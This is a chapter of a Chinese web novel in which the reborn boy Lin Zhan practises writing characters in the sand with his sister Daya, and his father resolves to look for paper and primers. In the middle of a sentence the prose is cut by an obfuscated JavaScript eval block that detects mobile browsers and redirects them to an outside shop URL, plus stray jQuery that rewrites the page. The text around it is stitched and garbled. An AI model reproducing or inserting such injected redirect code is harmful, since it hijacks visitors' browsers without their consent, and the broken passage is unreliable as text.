菜地里的“新式排班”计划实施完毕，剩下的就是等待和时间。林湛虽然心里惦记着那些刚埋下的小小种子，但他更清楚，在等待作物生长的漫长日子里，自己迫切需要另一项关键技能——识字。
黄历上的字已经认得七七八八，但那毕竟有限，且内容单一。他需要更系统、更大量的文字输入，才能真正打开这个时代知识的大门。没有老师，没有课本，一切只能靠自己。
工具是现成的。沙土地就是最好的纸，树枝就是最廉价的笔。他决定开始“沙盘习字”，先从巩固已知和扩展常用字开始。
这天，趁着王氏在屋后晾晒衣物，大丫在院里择菜（也是从稀稀拉拉的菜地里新拔的），林湛拿了根长短合适的细树枝，在屋前那片平整的泥地上，找了个角落，开始他的“创作”。
他先凭记忆，用树枝划出黄历上常见的那些字：“日”、“月”、“人”、“口”、“上”、“下”。笔画虽然因为手小力弱而显得有些歪扭，但结构大体正确。他写一个，自己轻声念一个，既是复习，也是练习发音。
大丫择完菜，一转头看见弟弟蹲在地上划拉，好奇地凑过来：“弟弟，你在画啥呢？”
“写字。”林湛头也不抬，继续认真地划着“天”字。
“写字？”大丫眼睛一亮，也蹲下来，“你认得这些‘画’了？”
“嗯，娘和阿姐教的，黄历上的。”林湛指了指屋里。
大丫看着地上那些歪歪扭扭但确实很像字的痕迹，既惊讶又有点兴奋。她只跟着爹娘胡乱认过几个字，早就忘得差不多了。“这个念‘人’！这个……是‘口’！”她指着自己认得的，声音里带着小小的自豪。
“阿姐厉害。”林湛适时夸奖，然后指着自己刚写的“天”字，“这个呢？”
大丫仔细看了看，摇摇头：“不认得。爹好像没教过这个。”
“这是‘天’，天上的天。”林湛用小树枝指着天空，然后在地上又写了一遍，“一横，一横，一撇，一捺。”
大丫跟着念：“天。”她学着林湛的样子，也捡了根小树枝，在旁边笨拙地模仿起来，结果画得像个叉开的“大”字。
林湛耐心地纠正：“这里，撇短一点。捺，从这里出去，长一点。”他握着大丫的手，带着她写了一遍。大丫的手比他有劲，但控制不好，写出来的字反而更丑了，逗得她自己先笑起来。
“写字好难啊，弟弟你怎么会的？”大丫放下树枝，揉着手腕。
“多写，就会了。”林湛说。他心想，对于一个有成年思维和记忆方法的人来说，模仿字形并关联意义，确实不算太难。难的是控制这双不稳的小手，以及在没有标准教材的情况下，如何高效地扩充字库。
“阿姐，你还认得别的字吗？除了黄历上的。”林湛问。姐姐或许从父母那里，或者村里其他人那里，零星听过、认过别的字。
大丫努力想了想：“嗯……过年贴的红纸（春联），上面有字，可我记不全了。好像有个‘福’字，倒着贴的。还有……村头祠堂的匾额，有个‘林’字，跟咱们姓一样！还有‘祠’字，爹指给我看过。”
林湛心中一喜。春联、匾额、碑刻，这些都是潜在的“识字教材”啊！“福”字，“林”字，“祠”字，都是很好的开始。
“阿姐，‘福’字怎么写？‘林’字呢？”他仰着小脸，充满“求知欲”地问。
大丫被弟弟崇拜的眼神看得有点不好意思，她努力回忆着：“‘福’字……左边好像有个‘示’字旁，像个小桌子？右边……右边我记不清了，好多道道。‘林’字好记，两个‘木’字挨着！”她用树枝在地上画了两个歪斜的“木”字，凑在一起。
两个木为林。很形象。林湛立刻记住了，并且举一反三：“那，两个‘人’呢？是不是‘从’？很多人呢？是不是‘众’？”他一边说，一边尝试在地上写出“从”和“众”的繁体字形（人多為眾）。
大丫被他问住了，眼睛瞪得圆圆的：“弟弟，你……你怎么知道？爹好像说过，很多人就是‘众’字，三个‘人’叠起来。两个‘人’……我没听过。”
“猜的。”林湛一脸“天真”，“‘木’多了是‘林’，‘人’多了，也应该有特别的字吧？”他巧妙地用已知类推未知，展现“逻辑”，而非“记忆”。
大丫觉得弟弟说得好像很有道理，但又觉得弟弟聪明得有点不像话。“弟弟，你病了一场，脑袋瓜子咋变得这么好使了？”她忍不住伸手摸了摸林湛的额头，好像想确认他还是不是那个病怏怏的小弟。
林湛任她摸着，嘿嘿一笑：“吃饱了，睡好了，就想得多呗。”他赶紧转移话题，“阿姐，以后你看到不认得的字，回来画给我看，我们一起认，好不好？”
“好呀！”大丫立刻被这个“一起学习”的游戏吸引了，觉得比单纯带弟弟玩更有意思。“我知道村东头土地庙的碑上也有字，改天我带你去瞧！还有货郎担子上挂的布幌子……”
姐妹俩（在灵魂上其实是姐弟）达成了“识字同盟”。林湛获得了新的字源渠道，而大丫则感觉自己成了弟弟的“小老师”，使命感满满。
接下来的日子，林湛的“沙盘习字”成了日常。他每天都会花一段时间，在屋前空地上练习。先复习旧字，力求笔画更稳。然后，根据大丫从外面“采集”回来的“字样”（往往是极其抽象的描述或在地上依葫芦画瓢的临摹），加上自己的猜测和推断，学习新字。他还会将同偏旁的字放在一起学，比如学了“示”字旁，就尝试联想“福”、“禄”、“祀”等字可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179248|196937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能的结构；学了“木”字旁，就记“林”、“树”、“枝”等。
他的记忆力让大丫惊叹不已。往往大丫费劲描述半天的一个字，林湛听一遍，看一遍她画的“鬼符”，就能记住，并且很快能在地上一笔不错地写出来（当然是相对大丫的“鬼符”而言的正确）。
王氏起初只当孩子们在玩闹，偶尔瞥一眼地上那些越来越规整的“道道”，还会笑着夸一句：“湛哥儿画得越来越像样了。”直到有一天，林大山提前从地里回来，看到儿子正蹲在地上，用树枝工工整整地写着“春种一粒粟，秋收万颗子”几个字（这是林湛根据记忆和已识字拼凑、改编的，用来练习），旁边还跟着大丫在磕磕巴巴地念。
林大山不认识所有的字，但“春”、“秋”、“种”、“收”这几个关键农事用字，他是模模糊糊知道的。他站在不远处，看了许久，脸上没什么表情，但眼神里的震动却难以掩饰。
他没有打扰，默默进了屋。晚上吃饭时，他忽然对王氏说：“改天……去镇上，看看能不能买点便宜的纸笔，或者……旧的蒙书。”
王氏吓了一跳：“当家的，那东西金贵着呢！咱们家哪有余钱……”
“先看看。”林大山语气低沉但坚定，“湛哥儿……该认字。”
王氏看了看正在小口喝粥、似乎没听到父母对话的小儿子，又想起这些日子儿子的种种“异常”表现，沉默了半晌，终于点了点头：“……哎，我抽空去问问三婶，她娘家侄子好像在镇上铺子帮工，看能不能寻摸点便宜的。”
林湛低着头，耳朵却竖得尖尖的。心中一阵欣喜。纸笔！蒙书！这意味着更高效的学习工具和更系统的知识来源！
虽然知道以家里的经济状况，这很可能只是一个渺茫的希望，但父亲能有这个念头，已经是对他“异常”的最大认可和支持。
他悄悄握紧了小拳头。沙盘习字要继续，而且要更努力。在可能的纸笔到来之前，他要打下更牢固的基础。
铁柱来找他玩时，看到他又在“画道道”，也好奇地跟着学了两天，但很快就失去了耐心。“这玩意儿比掏鸟窝难多了！湛哥儿，你咋坐得住？”他更喜欢拉着林湛去进行“实地考察”。
林湛也不强求，只是偶尔会指着地上的字考考铁柱，居然也让铁柱磕磕绊绊记住了“上、下、大、小、林、赵”等几个简单字，把铁柱爹赵石匠乐得合不拢嘴，直夸林家小子带得好。
知识像一颗投入水中的石子，荡开的涟漪虽然微弱，却开始悄然扩散。
夜深人静，林湛躺在“床”上，闭着眼睛，手指在肚皮上无声地划着今天新学的“晨”、“耕”、“读”等字的笔画。
沙盘习字，是他攀登这个时代知识阶梯的第一步。虽然简陋，却脚踏实地。